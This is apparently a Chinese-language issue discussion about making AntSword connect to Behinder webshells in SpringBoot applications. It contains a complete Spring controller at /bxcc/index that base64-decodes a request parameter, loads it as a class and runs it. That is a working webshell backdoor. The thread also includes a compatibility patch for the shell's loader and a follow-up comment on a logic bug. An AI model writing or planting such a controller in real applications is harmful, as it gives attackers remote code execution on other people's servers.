兼容SpringBoot

[fupinglee]

在SpringBoot环境下使用蚁剑连接冰蝎shell时，由于没有javax.servlet.jsp.PageContext，在连接时会报找不到该类。

import org.apache.shiro.codec.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Controller
@RequestMapping({"/bxcc"})
public class BxController extends ClassLoader{

    public BxController(){

    }
    public BxController(ClassLoader c){
        super(c);
    }

    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }

    @RequestMapping(value = "/index")
    public void index(HttpServletRequest request, HttpServletResponse response) {

        String bstr = request.getParameter("ant");

        try {
            if(bstr!=null){
                new BxController(this.getClass().getClassLoader()).g(Base64.decode(bstr)).newInstance().equals(response);
            }
        }catch (Exception e){

            e.printStackTrace();
        }
    }


}

在使用时利用Class.forName可以避免这种情况，修改的主要代码如下：

try{
            if(Class.forName("javax.servlet.jsp.PageContext").isInstance(obj)){
                Class clazz = Class.forName("javax.servlet.jsp.PageContext");
                request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest").invoke(obj);
                response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse").invoke(obj);
            }
        }catch (ClassNotFoundException | NoSuchMethodException pageContextErrorExection) {
            if (obj instanceof HttpServletRequest) {
                ...

            } else if (obj instanceof HttpServletResponse) {
                ...
            }
        }catch (Exception e) {
            e.printStackTrace();
        }

[yzddmr6]

逻辑有点问题：在有pageContext的情况下，当equals里面传入request或者response的时候，流程不会走到catch的代码块中。我今天改一下吧